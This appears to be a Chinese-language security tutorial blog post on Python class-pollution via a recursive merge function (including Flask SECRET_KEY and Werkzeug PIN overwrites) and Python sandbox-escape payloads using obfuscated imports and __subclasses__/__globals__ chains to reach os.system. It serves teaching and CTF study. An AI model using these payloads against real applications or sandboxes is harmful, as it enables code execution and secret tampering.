python原型链污染及沙箱逃逸

原型链污染

Python原型链污染和Nodejs原型链污染的根本原理一样,Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。

关键代码

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

hasattr(object, name)

参数是一个对象和一个字符串。如果字符串是对象的一个属性,则返回True,否则返回False

下面代码逻辑就是递归查找k,如果对应的值是字典再次递归,直到查找到对应的值然后修改

利用思路

我们要污染的目标是一个类的父类,所以我们会用到关键的两个魔法属性

__class__

用于获取一个对象的类,这是一个对象的内置属性,它指向定义该对象的类,反射用的,在运行中获取一个类

__base__

属性用于获取一个类的直接父类(基类),如果一个类没有显式地继承其他类,那么它的基类是内置的 object

那么我们就可以通过这两个属性来污染他的父类

下面简单看个例子

class a1:
    secret = "aaa"
class b1(a1):
    pass
class b2(a1):
    pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = b2()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "bbb"
        }
    }
}

print(b1.__class__,b1.__base__)
print(b1.secret)
print(instance.secret)
merge(payload, instance)


print(b1.secret)
print(instance.secret)

在我们污染了之后就发现我们的b1和b2的secret属性都变成了bbb

可以的话可以自行在merge(payload, instance)处打个断点进行调试

思路就是先__class__反射获取能调用到的类,然后用__base__获取到父类,然后对自己需要的目标进行污染

利用

获取全局变量

在很多类中我们可以看到有很多类会有__init__方法,用于一个类的初始化。

带有__init__的类有一个特性,那就是有__globals__属性,可以简单做一个测试

class A:
    def __init__(self):
        pass
class B:
    pass

print(dir(A.__init__))
print(dir(B.__init__))

我们可以看见在A的属性里面多了一个__globals__属性,而__globals__属性是干什么的呢

__globals__用于访问函数所属的全局命名空间。具体来说,它返回一个字典,表示函数定义时所在模块的全局变量和函数

也就是说我们可以通过这个变量来修改整体的函数,下面简单看个例子

secret="aaa"
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
payload = {
    "__init__" : {
        "__globals__" : {
            "secret" : "bbb"
        }
    }
}

class A:
    def __init__(self):
        pass

print(A.__init__.__globals__)

print(secret)
merge(payload,A)
print(secret)

成功修改secret属性

函数形参默认值替换

在此衍生还有一个打法就是函数形参默认值替换

当我们去定义一个函数时,可以为其中的参数指定默认值。类似这样

def a(a=1,b=2,c=3):
    pass

而a中的默认参数会被存储在__defaults__中,我们可以简单看一下

def a(a=1,b=2,c=3):
    pass
print(dir(a))
print(a.__defaults__)

所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换

打法如下

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
payload = {
    "__init__" : {
        "__globals__" : {
            "a" : {
                "__defaults__":(3,4,5)
            }
        }
    }
}

class A:
    def __init__(self):
        pass
def a(a=1,b=2,c=3):
    print(a,b,c)

a()
merge(payload,A)
a()
修改关键信息
flask 密钥

payload

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"test"
                }
            }
        }
    }
}
flask pin码

同理的修改os.environ[‘WERKZEUG_DEBUG_PIN’]

{
    "__init__" : {
        "__globals__" : {
            "os" : {
                "env" : {
                    "WERKZEUG_DEBUG_PIN" :"123-123-123"
                }
            }
        }
    }
}

沙箱逃逸

前言

Python 的沙箱逃逸的最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件。

基础知识

先啰嗦一些基础知识

在 Python 中执行系统命令的方式有:

os

commands:仅限2.x

subprocess

timeit:timeit.systimeit.timeit("__import__('os').system('whoami')", number=1)

platform:platform.osplatform.sysplatform.popen('whoami', mode='r', bufsize=-1).read()

pty:pty.spawn('ls')pty.os

bdb:bdb.oscgi.sys

cgi:cgi.oscgi.sys

花式 import

首先,禁用 import os 肯定是不行的,因为

import  os
import   os
import    os
...

都可以。如果多个空格也过滤了,Python 能够 import 的可不止 import,还有 __import____import__('os')__import__被干了还有 importlibimportlib.import_module('os').system('ls')

这样就安全了吗?实际上import可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替:

execfile('/usr/lib/python2.7/os.py')
system('ls')

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

with open('/usr/lib/python3.6/os.py','r') as f:
    exec(f.read())
system('ls')

这个方法倒是 2.x、3.x 通用的。

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

import sys
print(sys.path)
花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

__import__('so'[::-1]).system('ls')
b = 'o'
a = 's'
__import__(a+b).system('ls')

还可以利用 eval 或者 exec

>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
macr0phag3
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
macr0phag3

顺便说一下,eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。

恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
>>>

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

绕过的方式可以是这样:

sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

最后还有一种利用 __builtins__ 导入的方式,下面会详细说。

花式执行函数

通过上面内容我们很容易发现,光引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。我遇到过一个环境,直接在/usr/lib/python2.7/os.py中删了system函数。。。

不过,要明确的是,os 中能够执行系统命令的函数有很多:

print(os.system('whoami'))
print(os.popen('whoami').read()) 
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...

应该还有一些,可以在这里找找:

2.x 传送门

3.x 传送门

过滤system的时候说不定还有其他函数给漏了。

其次,可以通过 getattr 拿到对象的方法、属性:

import os
getattr(os, 'metsys'[::-1])('whoami')

不让出现 import也没事:

>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
macr0phag3
0

一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__,见下文。

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。更具体的这里就不解释了,有兴趣的话可以搜搜。

builtins、builtinbuiltins

先说一下,builtinbuiltins__builtin____builtins__的区别:首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

2.x:

>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

但是,__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入,我估计是为了统一 2.x 和 3.x。不过__builtins____builtin__builtins是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。还有一种情况是利用 exec command in _global 动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的参数是 module,所以肯定还能用于重新载入其他模块,这个放在下面说。

通过继承关系逃逸

在 Python 中提到继承就不得不提 mromro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 3.x 中新式类一统江湖,默认继承 object,当然也是使用的 C3 搜索算法。。。扯远了扯远了,感兴趣的可以搜搜。不管怎么说,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,叫__mro__,是个元组,记录了继承关系:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

>>> class test:
...     pass
...
>>> test.__bases__
>>> class test(object):
...     pass
...
>>> test.__bases__
(<type 'object'>,)

那么知道这个有什么用呢?

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os

>>> import site
>>> site.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>

也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

>>> import site
>>> os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
macr0phag3
0

os 又回来了。并且 site 中还有 __builtins__

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

>>> import warnings
>>> 
>>> warnings.os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'os'
>>> 
>>> warnings.linecache
<module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

在继承链中就可以这样:

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
macr0phag3
0

顺便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

    def __init__(self, record=False, module=None):
...
        self._module = sys.modules['warnings'] if module is None else module
...

所以通过_module也可以构造 payload:

>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
macr0phag3
0

3.x 中的warnings虽然没有 linecache,也有__builtins__

同样,py3.x 中有<class 'os._wrap_close'>,利用方式可以为:

>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
macr0phag3
0

顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:

object.__subclasses__()[117].__init__.__globals__['system']('whoami')

还有一种是利用builtin_function_or_method__call__

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

或者简单一点:

[].__getattribute__('append').__class__.__call__(eval, '1+1')

还可以这样利用:

class test(dict):
    def __init__(self):
        print(super(test, self).keys.__class__.__call__(eval, '1+1'))
        # 如果是 3.x 的话可以简写为:
        # super().keys.__class__.__call__(eval, '1+1'))
test()

上面的这些利用方式总结起来就是通过__class____mro____subclasses____bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2,这类利用方式应该是叫 SSTI,可以看这个:传送门,这里就不多说了。

文件读写

2.x 有个内建的 file

>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines®。

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:

math.py:

import os

print(os.system('whoami'))

调用

>>> import math
macr0phag3
0

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>

当然在import re 之前del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

>>> __builtins__.open('key').read()
'Macr0phag3\n'

或者

>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'Macr0phag3'

最后

推荐文章:python沙箱逃逸手法总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值